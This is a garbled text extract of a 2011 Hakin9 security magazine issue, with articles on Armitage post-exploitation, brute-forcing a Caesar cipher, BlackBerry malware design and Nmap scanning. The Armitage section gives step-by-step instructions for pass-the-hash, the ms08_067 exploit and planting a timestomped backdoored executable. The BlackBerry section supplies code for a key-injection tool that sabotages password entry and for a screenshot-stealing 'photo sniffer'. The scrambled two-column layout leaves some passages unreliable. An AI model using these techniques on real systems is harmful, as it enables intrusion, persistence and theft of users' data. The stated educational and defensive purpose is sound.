Metasploit also includes a SOCKS proxy server. N->Access->Dump Hashes. Meterpreter will dump
Any tools that you configure to use this proxy server the password hashes and store them in Metasploit’s
will have their traffic routed based on the pivots you’ve credentials database. Go to View->Credentials to see
set up. The Metasploit proxy server module allows the contents of this database.
you to use your web browser to browse other hosts Click Attacks->Find Attacks->by port and wait. A dialog
will tell you the attack analysis is complete. The discovery

Figure 5. Set up pivoting Figure 6. Host discovery with pivoting

16 02/2011
 Get in through the backdoor: Post exploitation with Armitage

scans you executed gave Metasploit and Armitage

information used to recommend these attacks. On The ‘Net
Right-click a Windows host and go to Attack->smb- • Armitage Project, http://www.fastandeasyhacking.com/
• Metasploit Project, http://www.metasploit.com/
>pass the hash. Select a username and password (or
• Metasploit Heart’s Microsoft. http://www.room362.com/
hash) to login to that host with (see Figure 7). Highlight blog/2009/3/2/metasploit-hearts-microsoft.html.
several hosts to try this attack on all of them. You will • IcoFX, http://icofx.ro
see the iconic red computer with lightning bolts if your • Creating an executable with Metasploit and gaining
attack is successful. access to target PC. http://adaywithtape.blogspot.com/
2010/05/creating-backdoored-exe-with-metasploit.html
Attack: Launching an Exploit
If you do not get administrative privileges on your first Explore->Browse Files. You will now see a tab, similar
host, all is not lost. Look for a Windows XP host or to Figure 8, that lets you navigate the local file system,
Windows Server 2003 among your targets. There are upload files, and download files.
usually a few of these hosts on a large network. Navigate to an executable that the user is likely to
Highlight these Windows hosts in the target area. use. Right-click the executable and select Download to
Search for ms08_067 in the module browser. Double save it locally. Use IExpress 2.0 to add your Meterpreter
click the module name and click launch. If this exploit executable to the downloaded program.
is successful, you’ll have administrative access to the In the file browser, right-click the program you want to
host. This will allow you to follow the pass-the-hash replace and select Timestomp->Get MACE values. This
steps to access the patched hosts. I said we wouldn’t will save the file’s current access, modified, and creation
use exploits in this article. My apologies, I couldn’t help times to Armitage. Right-click the program and choose
myself. Delete to delete the file. Now use the Upload button
to upload your backdoored version of the program.
Persistence Right-click the uploaded file and select Timestomp->
Now that you’ve compromised the network and gained Set MACE values. This will set the access, modified,
access to more hosts, it’s time to persist your access. and creation time values of the file to what you saved a
Persistence assures your access to the network in the moment ago.
future. If you’re evil, you will persist on a host other You have now replaced the original program with
than your initial access host. This will make it harder to a backdoored version and updated the time/date
discover how you’re getting back into the network. information to match the original file. To the user, the
Let’s persist your access using a backdoor. Right- program will function as normal. When they close it,
click a compromised host and select Meterpreter N-> they will give you a connection to their machine through
your backdoor.

Conclusion
This article explored the hacking process without
exploits. You saw how to get a foothold in a network
with a social engineering attack. From there, you set
up a pivot and executed the attack process anew. You
discovered hosts, executed a pass-the hash attack, and
established persistent access to the network. Armitage
provided you an interface organized around these
tasks.
I recommend staging target virtual machines and
trying these techniques on your own. Reproduce the
steps from this article to gain a greater awareness of
Figure 7. Pass the Hash how attackers think. It is my hope that you will reflect on
your defensive posture and develop ideas to improve it.
Good luck and happy hacking.

RAPHAEL MUDGE
Raphael is a Washington, DC based security engineer. He
is also the developer of Armitage. You may contact him at
Figure 8. The File Browser http://www.hick.org/~raffi/

www.hakin9.org/en 17
 ATTACK

Breaking The Code:

Brute Forcing The Encryption Key
There’s no way around it, cryptography is an aspect of our digital
lives that’s becoming more and more prevalent.

What you will learn… What you should know…

• Basic encryption • Basic knowledge of C++
• The process of breaking encryption using software

I
t’s because we interact in a vast social network secure means of hiding information back when it was
that is the internet where we enter our personal first introduced. This style of encryption worked by
information into countless profile pages and make – as it’s name states – shifting the clear text a certain
the majority of our purchases online that we have number of positions right or left of the original character.
an increasing need to focus on cyber security and We refer to this shift value as the encryption key. For
cryptography. But at the same time that cryptography example, the letter A shifted four spaces to the right
has great potential in securing our information, it’s just gives us the letter E. Using this method, we could
as vulnerable to attack. shift all the letters of the English alphabet four spaces
In order to illustrate the points set forth by the author, to create what’s called a cipher alphabet. This cipher
we will be focusing on a single encryption cipher alphabet could then be used to encrypt longer pieces
– the simple-substitution cipher. We will demonstrate of information.
software implemented for the purposes of encrypting, We will be using a variant of the simple-substitution
decrypting, but also breaking such encryption. As a cipher in that we don’t limit the encryption key to
result, the knowledge imparted through this article 25 (because we start counting from 0 in C++) but
can and should be used as a stepping stone towards rather allow the shift to occur past the 26th letter
re-thinking cryptography and how we use it to secure of the alphabet. This will become clearer as the
information. encryption and decryption algorithms are explained
in the following section. Within a computer, each
Cipher Basics character is referenced by a number, this number is
The simple substitution cipher – generally considered referred to as the character’s ASCII value. To encrypt
weak encryption – was known for offering a relatively each character we need to use its ASCII value so we

����������� �����������������������������

������ �������
������������������������� �������������������������
������������������������ ������������������������
����������������������� �����������������������
Figure 1. Calculating Cipher Text Figure 2. Calculating Cipher Text in Practice

18 02/2011
 Breaking The Code: Brute Forcing The Encryption Key

����������� �����������������������������

������� �������
������������������������ ������������������������
������������������������� �������������������������
����������������������� �����������������������
Figure 3. Calculating Clear Text Figure 4. Calculating Clear Text in Practice
know from where in the alphabet the shift needs to a letter, mainly because the dollar sign’s ASCII value
occur. So to look at our previous example, the ASCII is greater than any of the A to Z or a to z characters.
value of A is 65 and when shifted 4 spaces becomes Knowing this, it’s a safe bet to assume that the dollar
69 or E; Figures 1 and 2 demonstrate this more sign represents a space. And subsequently, we can
mathematically. now gain a better idea of where the word lengths occur
The decryption process is exactly the same as in the example. While we have now entered into the
encryption except we subtract the encryption key realm of frequency analysis, it’s good to point these
from the encrypted character’s ASCII value in order to things out as the simple-substitution cipher wears its
recover the original text. This can be seen more clearly flaws for public display.
in Figures 3 and 4.
Algorithmic Attacks
Understanding the Algorithms Our previous discussions have centered around the
It’s time to put our theory into practice, Listing 1 shows fact that we knew the encryption key. Most likely, that
the encryption algorithm we wrote for the demonstration
software. In order to encrypt the clear text we need to Listing 1. Encryption Algorithm
loop through the entire string and process each character
one by one. The for loop starts by grabbing the first for (int i = 0; i <= clearText.length; i++)
character of the clear text, converting to its ASCII value {
and shifting to the value of the encryption key. Once the currentChar = clearText[i];
character has been shifted, the encrypted value is then currentInt = int(currentChar);
converted back to a character and concatenated to a encryptedInt = currentInt + encryptionKey;
string variable that will store the encrypted text. encryptedChar = char(encryptedInt);
The algorithm continues to execute until the end of encryptedText += encryptedChar;
the clear text at which point the loop exits and we are }
left with the encrypted text printed to the screen. As
previously mentioned, the decryption algorithm works Listing 2. Decryption Algorithm
just like its encryption counter part except everything
is reversed. Instead we loop over the encrypted text for (int i = 0; i <= encryptedText.length; i++)
and subtract the encryption key from the encrypted {
character’s ASCII value to once again recover the clear currentChar = encryptedText[i];
text, much like we saw in the previous section. The currentInt = int(currentChar);
decryption algorithm is documented in Listing 2. clearInt = currentInt - encryptionKey;
Following is a sample run of the encryption and clearChar = char(clearInt);
decryption algorithms. Listing 3 shows how the message cleartext += clearChar;
the quick brown dog gets encrypted and Listing 4, the }
decryption. Taking a closer look at the encrypted text
we see that the word length is not reflected or is more Listing 3. Encrypting A Message
difficult to visualize when encrypted as opposed to
when looking at normal English. Consider this example Original Message: the quick brown dog
from a more cryptanalytic perspective for a moment. If Decrypted Message: xli$uymgo$fvs[r$hrk
this were the only text we had to work with, a red flag
already has to be raised. Because there are multiple Listing 4. Encrypting A Message
instances of the dollar sign in the encrypted text, we
can assume that this character represents a letter in Decrypted Message: xli$uymgo$fvs[r$hrk
the original text or another widely used character. But Original Message: the quick brown dog
just by looking at the ratio of the dollar sign to the other
encrypted characters, we know that it doesn’t represent

www.hakin9.org/en 19
 ATTACK

will not be the case and we will only have the encrypted the difference is that we are storing each potentially
message to work with. decrypted message in a string array. Lastly the outer
When this is the case, there are a couple of attacks we loop prints out each index of the string array to the
can use. One – and the most widely used – is frequency console window for viewing.
analysis as we previously alluded to, the other is brute Listing 6 shows a sample run using the same example
force. Now while it’s not our goal to discuss how to use as before. The list format makes it easier to determine
frequency analysis to break encryption, the process which index contains the decrypted message.
basically requires that we find the frequency of the If on running the program, the range of numbers
characters used in the encrypted text along with the does not turn up the decrypted text, simply increase
characters used in the clear text’s language – this is the number previously entered and re-run the program.
usually English. This process can be repeated as often as needed until
The second attack and the one we are going to learn the deciphered message is displayed in the list. It’s by
how to use is brute force. In regard to the simple- writing such software that we don’t have to concern
substitution cipher, brute forcing simply involves ourselves with trying each number on it’s own and can
using a range of numbers to test which one if any more easily break the encryption.
is the encryption key. We do this process until the
encryption key is found and/or we are able to decipher So What?
the encrypted message. The brute forcing algorithm is Why care about anything we just talked about?
described in Listing 5. Similarly, it’s also apparent that in order to demonstrate
Much like the algorithms we previously looked at, the process of breaking encryption, we used an
this algorithm also loops over the encrypted text only obviously outdated algorithm. The point to all this
instead of using a known encryption key, the algorithm though is the fact that software can be written as a tool
takes a number from the user to use as a range starting for use in cryptanalysis and ultimately the breaking
from 0. of encryption. Once a software tool is written that is
You’ll also notice that we are also using a set of capable of breaking encryption, the amount of time it
loops in this algorithm as opposed to before where would theoretically require to break the cipher leaves
we only needed one. Reason being, the outer loop little in the way of an acceptable deterrent. This is the
is giving us the potential encryption key while the case because the rise of bot nets and super-computers
inner loop is using the potential encryption key on substantially raises the potential processing power
the encrypted text. Once execution reaches the inner one has to work with and as a result, the greater the
loop, it works much like our decryption algorithm in processing power, the smaller the amount of time to
that we are still processing character by character but break the encryption.
So where are we to look to find a solution to
Listing 5: Brute forcing algorithm the problem? Because we face a cyclical cycle of
constantly developing newer technologies to secure
for (int i = minRange; i <= encryptedText.length; i++) information, there is no clear cut solution. As we push
{ forward into the future of information security, it’s
for each (char currentChar in encryptedText) best that we do away with the oldest of encryption
{ algorithms – merely to keep them around for
currentASCII = int(currentChar); theoretical purposes – and focus on those that yield
clearASCII = currentASCII - i; the best possible strength for the current security
clearChar = char(clearASCII); conditions. Finally, we must not forget that the truest
clearText += clearChar; sense of security comes down to our treatment of the
} encryption key. For the advancement of cryptography
is inevitable but the person in control of the keys to
cout << clearText << endl; such systems is not.
}

Listing 6. Brute forcing in action

RICH HOGGAN
uif!rvjdl!cspxo!eph Rich Hoggan is currently pursuing a bachelors degree in
the quick brown dog Computer Science and plans on specializing in information
sgd#pthbj#aqnvm#cnf and cyber security. In his spare time, Rich enjoys writing
music, photography, and creating visual art with the
Processing programming language.

20 02/2011
 DEFENSE

Is Data Secure on the

Password Protected Blackberry Device?
People who have ever heard of password utility think the usage of
it can protect their private data. There are, however, several ways to
steal a lot of information in spite of the fact that device locked by
password. These ideas are not complicated to first-time malware
developer.

What you will learn… What you should know…

• Noise typing can bring functional disorder • basic knowledge about BlackBerry security
• Screen capture can make the security system pointless
• Your typing is vulnerability for the password

H
ow many times have you found them in a Keystroke emulation
situation that typing a complicated password Have you ever thought about touchscreen devices as a
you were confused, lost yours train of thought vulnerable touch technology? The underlying principle
and forgot on what character are you staying? And what of direct interaction with screen is just emulation
did you do? Erased already entered 14 or 20 characters, keystroke.
and re-typed for a new, right? Why? Because your Most modern smartphones have this feature because
password hidden behind asterisks. And whether they it enhanced ways that devices to communicate to each
should have? other.
Historically, password behind asterisks could be A touchscreen is an electronic visual display that
help to protect it from bystanders’ villain who doesn’t can detect the presence and location of a touch within
mind to steal password. So, doesn’t villain know the display area. The term generally refers to touching
another way to steal it by key-loggers, phishing
pages or trojans? More importantly, there’s usually
nobody looking over your shoulder when you log in to
a website. It’s just you, sitting all alone in your office,
suffering reduced usability to protect against a non-
issue.
Password masking has proven to be a particularly
nasty usability problem in using mobile devices, where
typing is difficult and typos are common.

Did you know?

Usability suffers when users’ type in passwords and the
only feedback they get is a row of bullets. Typically, masking
passwords doesn’t even increase security, but it does cost
your business due to login failures. Providing visualizing
the system status have always been among the most basic
usability principles. Showing asterisks while users enter
complex codes definitely fails to comply.
Figure 1. Password attempt quantity

22 02/2011
 Is data secure on the password protected blackberry device?

Figure 2. State before unlocking Figure 4. Noise input

the display of the device with a finger or hand. of computer simulation, which can concern an abstract
Touchscreens can also sense other passive objects, model of the system being simulated. Example, we
such as a stylus. are typing message Hi, how’s going... via pressing
The touchscreen has two main attributes. First, it hardware keyboard buttons and typing the same text
enables one to interact directly with what is displayed, via touching virtual keyboard buttons displayed on the
rather than indirectly with a cursor controlled by screen. Outcome is the same.
a mouse or touchpad. Secondly, it lets one do so
without requiring any intermediate device that would Unsecure for the future
need to be held in the hand. Such displays can be All smartphones give their owners a free choice to lock
attached to computers, or to networks as terminals. handheld by password or grant unsecured access.
They also play a prominent role in the design of digital Password Strength is range of 8 up to 14-18 symbols
appliances such as the personal digital assistant with case-sensitive (Figure 1). The major concept
(PDA), satellite navigation devices, mobile phones, in using the most complex password is main idea
and video games. when you’re reading BlackBerry Smartphone tutorial.
A keystroke emulator duplicates (provides an You’re obliged to lock your devices! You’re obliged
emulation of) the functions of typing or input letters using to use more complex combination! It’s obliged to be
a different system, so that the second system behaves randomness! But think for moment. Can you quickly
like the first system. This focus on exact reproduction say how many symbols are entered up? No is correct
of external behavior is in contrast to some other forms answer.

Figure 3. Typing correct password Figure 5. Error password notification

www.hakin9.org/en 23
 DEFENSE

painful alternative is the malware typing unnecessary

symbols whenever it possible. It’s in case OSv4 and
OSv5. In OS v6 your device is blocked for a time is
various from 1 minute to 1 hour (Figure 6).

Malware Design
Ultimate goal is show what API-routines help us to
design such malware. List of API classes is shall be
import is presented in Listing 1.
The first public class net.rim.blackberry.api.cradle.Cra
dleHandlerRegistry is need to registry for cradle handlers
that are a candidate to be started when a cradle of the
corresponding type is connected.
The second public interface KeyListener gives us the
listener interface for receiving keyboard events (KEY_DOWN
& KEY_UP event to simulate full key pressing).

Figure 6. Device locking time span The third class net.rim.device.api.system.EventInject

or gives us a character input event. So if we can use
Rub up keystroke emulation! So, just imagine malware physical key injecting events, use EventInjector.KeyCode
product loaded into device memory and waits when Event.
you’re going to unlock handheld by typing your top-
secret password. After inputting is half-closed malware
types just the one random letter to make senseless
Did you know?
Some API-routings need to be signed in your application by
your unlocking action. And BlackBerry says Wrong rim developer keys. If you intend to use this element, please
password! Try once again. The 2/10 attempt (Figure 2, visit http://www.blackberry.com/go/codesigning to obtain
3, 4, 5). Come to think of it that you never can to input a set of code signing keys. Code signing is only required
correct password. What’s going on 10 wrong attempts? for applications running on BlackBerry smartphones;
development on BlackBerry Smartphone Simulators can
One of several BlackBerry secured mechanism is being
occur without code signing. You can get your develop keys
activated to wipe out your confidentially information. til 48 hour after registration and payment 20$
What of it! It was high time to do backup. The lesser

Listing 1. API-routines to design malware injector

net.rim.blackberry.api.cradle
net.rim.device.api.system.Characters;
net.rim.device.api.system.EventInjector;
net.rim.device.api.system.KeyListener;

Listing 2. Simulation piece of code without key repeating

VKeyIsDown = new EventInjector.KeyEvent(EventInjector.KeyEvent.KEY_DOWN, Characters.LATIN_SMALL_LETTER_V,

KeyListener.STATUS_NOT_FROM_KEYPAD);
VKeyIsUp = new EventInjector.KeyEvent(EventInjector.KeyEvent.KEY_UP, Characters.LATIN_SMALL_LETTER_V,
KeyListener.STATUS_NOT_FROM_KEYPAD);

Listing 3. Simulation piece of code with key repeating.

VKeyIsDown = new EventInjector.KeyEvent(EventInjector.KeyEvent.KEY_DOWN, Characters.LATIN_SMALL_LETTER_V,

KeyListener.STATUS_NOT_FROM_KEYPAD);
VKeyIsRepeat = new EventInjector.KeyEvent(EventInjector.KeyEvent. KEY_REPEAT, Characters.LATIN_SMALL_LETTER_V,
KeyListener.STATUS_NOT_FROM_KEYPAD);
VKeyIsUp = new EventInjector.KeyEvent(EventInjector.KeyEvent.KEY_UP, Characters.LATIN_SMALL_LETTER_V,
KeyListener.STATUS_NOT_FROM_KEYPAD);

24 02/2011
 Is data secure on the password protected blackberry device?

EventInjector.KeyCodeEvent is one of them. It’s only

accessible by signed applications. To simulate key
pressing we have to inject a KEY_DOWN event followed
by a KEY_UP event on the same key in the Listing 2. To
duplicate the same character e.g.V you need to add one
more injection via KEY_REPEAT (between VKeyIsDown-line
and VKeyIsUp-line) event like presented in Listing 3.

Keystore Constants
KEY_DOWN – Represents a constant indicating that the key
is in the down position.
KEY_REPEAT – Represents a constant indicating that the key
is in the down position, repeating the character.
KEY_UP – Represents a constant indicating that the key is in
the up position.
STATUS_NOT_FROM_KEYPAD – Status flag indicating that
the inputted value is a char, and has no key association
Figure 8. Stolen image of BlackBerry Messenger

To keep BlackBerry Smartphone user having a In other words, it is a way of taking a snapshot, or
nightmare with typing extra secret password we should picture, of your computer screen. Some people also call
to design time span injection is one (or less) second. It’s it a screen grab or screen dump.
more than enough! Screen shots can be very helpful when you need to
Our finally subroutine is accommodate VKeyIsDown, demonstrate something that would be difficult to explain
VKeyIsRepeat (optionally), VKeyIsUp and time span. in words. Here are just a few examples of situations
VKeyIsRepeat counter is set quantity of character where a screen shot can be useful and why:
duplicate. Piece of code is presented in Listing 4.
• In software reviews, to show what the software
Is key logger dead? looks like.
A screenshot or screen capture is a static image taken • In software tutorials, to demonstrate how to perform
by the computer to record the visible items displayed on a function.
the monitor, television, or another visual output device. • In technical support troubleshooting, to show error
message or software issues.

�������������� Screen shots are also useful to save snippets of

anything you have on your screen, particularly when
it cannot be easily printed. I use screen shots all the

Intruder
��������������������� �������������

���������������

����������������������
��������������������� �������
������������

������

��������������
����������������

��������������������� ������������
������������

Figure 7. Key Injection Vulnerability Model Figure 9. Stolen image of BlackBerry Browser part 1

www.hakin9.org/en 25
 DEFENSE

Figure 10. Stolen image of BlackBerry Browser part 2 Figure 12. Stolen image of chat

time for things I want to save to refer to later, but don’t often large. A common problem with video recordings
necessarily need a printed copy of. is the action jumps, instead of flowing smoothly, due to
low frame rate.
Screen recording For many cases, high frame rates are not required.
Sometimes, it takes more than a couple of images. 25- This is not generally an issue if simply capturing
30 images are picked up during 1 second gives us video desktop video, which requires far less processing
frame. So, the screen recording capability of some power than video playback, and it is very possible
screen capture programs is a time-saving way to create to capture at 30 frame/s. But it’s enough to log your
instructions and presentations, but the resulting files are keystrokes.

Listing 4. Simulation piece of code without key repeating. Listing 5. API-routines to design malware photo sniffer

EventInjector.invokeEvent(VKeyIsDown); net.rim.device.api.system.Bitmap;
EventInjector.invokeEvent(VKeyIsRepeat); // net.rim.device.api.system.Display;
(optionally) net.rim.device.api.ui.Screen;
EventInjector.invokeEvent(VKeyIsUp); net.rim.device.api.ui.Ui;
Thread.sleep(1000); // TimeSpan 1000 msec (1 sec). net.rim.device.api.ui.UiApplication;

Figure 11. Stolen image of BlackBerry Browser part 3 Figure 13. Stolen image of photo explorer

26 02/2011
 Is data secure on the password protected blackberry device?

Listing 6. API-routines to design malware photo sniffer

Screen vulnerable_screen = Ui.getUiEngine().getActiveScreen();

Bitmap bitmap_of_vulnerable_screen = new Bitmap(vulnerable_screen.getWidth(),vulnerable_screen.getHeight());
Display.screenshot(bitmap_of_vulnerable_screen, 0, 0, vulnerable_screen.getWidth(),vulnerable_
screen.getHeight());

Keystroke logger is only allowed to his own application in and put out next screen onto stack by UiApplication.g
on BlackBerry Devices. It means you can’t steal any etUiApplication().popScreen(this), UiApplication.getUiAppl
information that user might type by keyboard sniffer. ication().pushScreen(this).
Despite this security feature it still possible to sneak Before our malware has got a static image of
your password or your messages. Try and remember vulnerable screen it should get active screen and
uncomfortable feeling when somebody try look into your retrieves screen size to put it into bitmap object that’s
device screen. In a different way you can capture and presented int Listing 6.
dump screen image (Figure 8 – 14). Also we can put timespan as 40 msec and loop it.
Loop quantity is optional. Then malware needs to save
Malware Design static images to memory or file. For example, malware
Ultimate goal is show what API-routines help us to demo saves it to bytes memory array. Piece of code is
design such malware. List of API classes is shall be presented in Listing 7.
import is presented in Listing 5.
The first public class net.rim.device.api.system.Bitmap Behind mirror
needs to construct a blank bitmap object. Previous vulnerabilities show how intruder can get your
The second public class net.rim.device.api.system.Disp messages, tasks, chats (in short everything is possible
lay provides access to the device’s display when we’re to photocapture) and then block normal operation with
going to take a screenshot of a portion of the screen blackberry device as far as possible. But is there no way
and saves it into a bitmap object. to sneak blackberry password?
Three public classes net.rim.device.api.ui define In first part I refer to attempt quantity you set in your
functionality for a user interface engine applications can device. It’s various from 3 to 10. The second half of it
use for their UI operations. As it pushes screens onto
the stack, it draws them on top of any other screens
already on the stack. When the application pops a ��������������
screen off the stack, it redraws the underlying screens
as necessary. From capture to capture we have to put

��������������������� ������������� Intruder

���������������

����������������������
����������������������������������
��������������������� �������
������������

������

�������

��������������������� ����������������
������������ �������������

Figure 14. Stolen image of file explorer Figure 15. Photo Sniff Vulnerability Model

www.hakin9.org/en 27
 DEFENSE

Malware Design
Listing 7. API-routines to design malware photo sniffer To design this type of malware you need combine the
previous pieces of code.
public byte[] getBytesFromBitmap(Bitmap bmp)
{ Mitigation
int height=bmp.getHeight(); If you are BIS consumer you always check permissions
int width=bmp.getWidth(); when downloading an application to disable key
injection or screenshot capture. Additionally you should
ByteArrayOutputStream bos = new set option suppress password echo to false. If you are
ByteArrayOutputStream(); BES consumer your administrator should check IT
DataOutputStream dos = new DataOutputStream(bos); Policy like this:
Graphics g = new Graphics(bmp);
bmp.getARGB(rgbdata,0,width,0,0,width,height); Key Injection:
for (int i = 0; i < rgbdata.length ; i++) “Application Control Policy a Event Injection” = False
{
if (rgbdata[i] != -1) Device Screen Capture:
{ “IT Policy a Security Policy Group a Allow Screen Shot
dos.writeInt(i); Capture” = False
dos.flush();
} Combo Vuln
} “IT Policy a Password Policy Group a Suppress Password
bos.flush(); Echo” = False
return bos.toByteArray();
}
Did you know?
Phishing kits are constructed by con artists to look like
legitimate communications, often from familiar and
reputable companies, and usually ask victims to take
isn’t masked behind asterisk by default. This feature urgent action to avoid a consequence or receive a reward.
corresponds to the device option suppress password The desired response typically involves logging in to a
Web site or calling a phone number to provide personal
echo (or BES IT Policy) is set in true by default. It information.
means.
First malware (key injector) waits moment till user
unlocks device then type noise symbol at that time the Fobbing off is no object!
second malware (photo sniffer) is steal an image of Understanding the human factors that make people
device. Done! Now a violator can whatever you like, for vulnerable to online criminals can improve both
example decipher your file backup and get your actuals security training and technology. Since recently, phish
(Figure 16). email were headache task for bank consumers, online
consumers, etc. Up to now, there’s one more phish
kit. It’s called a scumware that disguised as genuine
software, and may come from an official site. For
example, user has just downloaded a video player.
Before downloading BlackBerry smartphone asking
him to set permissions for new application. Typical
user allows all because he’s bored with it. He’s bored
with think what to do – allow only Wi-Fi connection
or 3G too, disallow access to PIM and any kind of
messages. He waits mega secure technology that
says: don’t worry! It’s video or mp3 player. There’s
shouldn’t access to personal data. Still waits. And
how! Then typical user click button with caption Make
me Happy!. So, he gives full access for intruder
application because he’s tired of pop-up permissions.
Then GPS location is steal, his photos or videos, his
PIM, chats, etc. Afterwards he looks in wide-eyed
Figure 16. Unmasked typing astonishment. You don’t say so! Why? I’m not to

28 02/2011
 Is data secure on the password protected blackberry device?

On the ‘Net
• http://blogs.wsj.com/wtk-mobile/ – The Wall Street Journal brief research of geniue spyware
• http://docs.blackberry.com/en/admin/deliverables/12063/BlackBerry_Enterprise_Server-Policy_Reference_Guide-T323212-832026-
1023123101-001-5.0.1-US.pdf – BlackBerry Enterprise Server Version: 5.0. Policy Reference Guide, RIM,
• http://online.wsj.com/article/SB10001424052748704694004576020083703574602.html – The Wall Street Journal research of
geniue spyware on iPhone and Android
• http://docs.blackberry.com/en/developers/deliverables/11961/BlackBerry_Java_Application-Feature_and_Technical_Overview--
789336-1109112514-001-5.0_Beta-US.pdf – BlackBerry Java Application. Version: 5.0. Feature and Technical Overview, RIM
• http://docs.blackberry.com/en/developers/deliverables/9091/JDE_5.0_FundamentalsGuide_Beta.pdf – BlackBerry Java
Application. Version: 5.0. Fundamentals Guide, RIM,
• http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/8067/645045/8655/8656/1106255/BlackBerry_
Application_Developer_Guide_Volume_1.pdf?nodeid=1106256&vernum=0 – BlackBerry Application Developer Guide Volume
1: Fundamentals (4.1), RIM,
• http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/8067/645045/8655/8656/1106255/BlackBerry_
Application_Developer_Guide_Volume_2.pdf?nodeid=1106444&vernum=0 – BlackBerry Application Developer Guide Volume
2: Advanced Topics (4.1), RIM,
• http://www.blackberry.com/developers/docs/4.2api/ – RIM Device Java Library – 4.2.0 Release (Javadoc), RIM,
• http://docs.blackberry.com/en/developers/deliverables/15497/BlackBerry_Smartphone_Simulator-Development_Guide--1001926-
0406042642-001-5.0-US.pdf – BlackBerry Smartphone Simulator. Version: 5.0. Development Guide, RIM,
• http://docs.blackberry.com/en/developers/deliverables/1077/BlackBerry_Signing_Authority_Tool_1.0_-_Password_Based_-_
Administrator_Guide.pdf – BlackBerry Signature Tool 1.0. Developer Guide, RIM

download Trojan! But there’s just one shag to it. The personal data. Then applications send this information
salesman has already fobbed off the faulty application to marketing companies from time to time (http://
on him. blogs.wsj.com/wtk-mobile/, http://online.wsj.com/article/
Sometimes events are developing in another way. SB1000142405274870469400457602008370357
According to the WALL STREET JOURNAL (http:// 4602.html).
wsj.com) marketers are tracking smartphone users
through applications – games and other software on Conclusion
their phones. It collects information including location, It happens that there are serious deficiencies in the
unique identifiers for the devices such as IMEI, and numbers of suitable vulnerability survey mythicize
computer privacy. Real-world example is said there
have been no exploitable BlackBerry handheld
vulnerabilities published since 2007 year. Even the 2007
��������������
������������� vuln was a DoS, not taking control of the device. As a
��������������������� Intruder matter of fact Praetorians made a much powerful exploit
(Blackberry Attack Toolkit – http://www.praetoriang.net/)
that was present on the DEFCON 14 in July, 2006. This
condition implies ability to speak well for design a botnet
applications and networks that applicable to deface vital
��������������� role information systems such as trading session or air
����������������������
reservation.
��������������������� �������
������������

��������������

������������
���������������������
������������
YURY CHEMERKIN
���������������� Graduated at Russian State University for the Humanities
(http://rggu.com/) in 2010. At present postgraduate at RSUH.
�������
������ Security Analyst since 2009 and currently works as mobile
security researcher in Moscow.
���������������������
������������ E-mail: [email protected].
�������������
Facebook: http://www.facebook.com/people/Yury-Chemerkin/
Figure 17. Combo Vulnerability Model 100001827345335.

www.hakin9.org/en 29
 DEFENSE

Examine your Network With Nmap

What is network Scanning?
Network scanning is an important part of network security that any
system administrator must be comfortable with. Network scanning
usally consists of a port scanner and vulnerability scanner.

What you will learn… What you should know…

• how to examine a website or IP address for security hole • basic networking skills (like Network+)
• hacker spends 90% of the time for gathering information on a
target and 10% on launching the attack.

P
ort scanner is a software that was designed to SYN scanning
probe a server or host for open ports. This is SYN scan is another form of TCP scanning. Rather than
often used by administrators to verify security use the operating system’s network functions, the port
policies of their networks and can be used by an scanner generates raw IP packets itself, and monitors
attacker to identify running services on a host with for responses. This scan type is also known as half-
the view to compromise it. A port scan sends client open scanning, because it never actually opens a full
requests to a server port addresses on a host for TCP connection.
finding an active port. The design and operation of
the Internet is based on TCP/IP. A port can have some UDP scanning
behavior like below: UDP is a connectionless protocol so there is no
equivalent to a TCP SYN packet. If a UDP packet is
1. Open or Accepted: The host sent a reply indicating sent to a port that is not open, the system will respond
that a service is listening on the port. with an ICMP port unreachable message. If a port is
2. Closed or Denied or Not Listening: The host sent blocked by a firewall, this method will falsely report that
a reply indicating that connections will be denied to the port is open. If the port unreachable message is
the port. blocked, all ports will appear open.
3. Filtered, Dropped or Blocked: There was no reply
from the host. ACK scanning
This kind of scan does not exactly determine whether the
Port scanning has several types such as: TCP scan- port is open or closed, but whether the port is filtered or
ning, SYN scanning, UDP scanning, ACK scanning, unfiltered. This kind of scan can be good when attempting
Window scanning, FIN scanning, X-mas, Protocol to probe for the existence of a firewall and its rule sets.
scan, Proxy scan, Idle scan, CatSCAN, ICMP scan.
Below we explain a number of these scans: FIN scanning
Usually, firewalls are blocking packets in the form of
TCP scanning SYN packets. FIN packets are able to pass by firewalls
The simplest port scanners use the operating system’s with no modification to its purpose. Closed ports reply to
network functions and is generally the next option to go a FIN packet with the appropriate RST packet, whereas
to when SYN is not a feasible option. open ports ignore the packet on hand.

30 02/2011
 Examine your Network With Nmap

Nmap Support large number of this scanning. In the above example, PORT show port number/
A vulnerability scanner is a computer program protocol and STATE show state of port and SERVICE
designed to assess computers, computer systems, show type of service for the port. You can scan
networks or applications for weaknesses. It is important multiple targets with following syntax:
that the network administrator is familiar with these
methods. Usage syntax: nmap [target1 target2 etc]
There are many types of software for scanning $ nmap 192.168.10.1 192.168.10.100 192.168.10.101
networks, some of this software is free and some are
not, at http://sectools.org/vuln-scanners.html you can Scan a Range of IP Addresses
find list of this software. A range of IP addresses can be used for target
The significant point about Nmap (Network Mapper) specification as in the example below.
is Free and Open Source. Nmap is a security scanner
originally written by Gordon Lyon (also known by his Usage syntax: nmap [Range of IP addresses]
pseudonym Fyodor Vaskovich) for discover hosts and $ nmap 192.168.10.1-100
services on a computer network. Nmap runs on Linux,
Microsoft Windows, Solaris, HP-UX and BSD variants Scan an Entire Subnet
(including Mac OS X), and also on AmigaOS and SGI Nmap can be used to scan an entire subnet using
IRIX. CIDR.
Nmap includes the following features:
Usage syntax: nmap [Network/CIDR]
• Host Discovery $ nmap 192.168.10.1/24
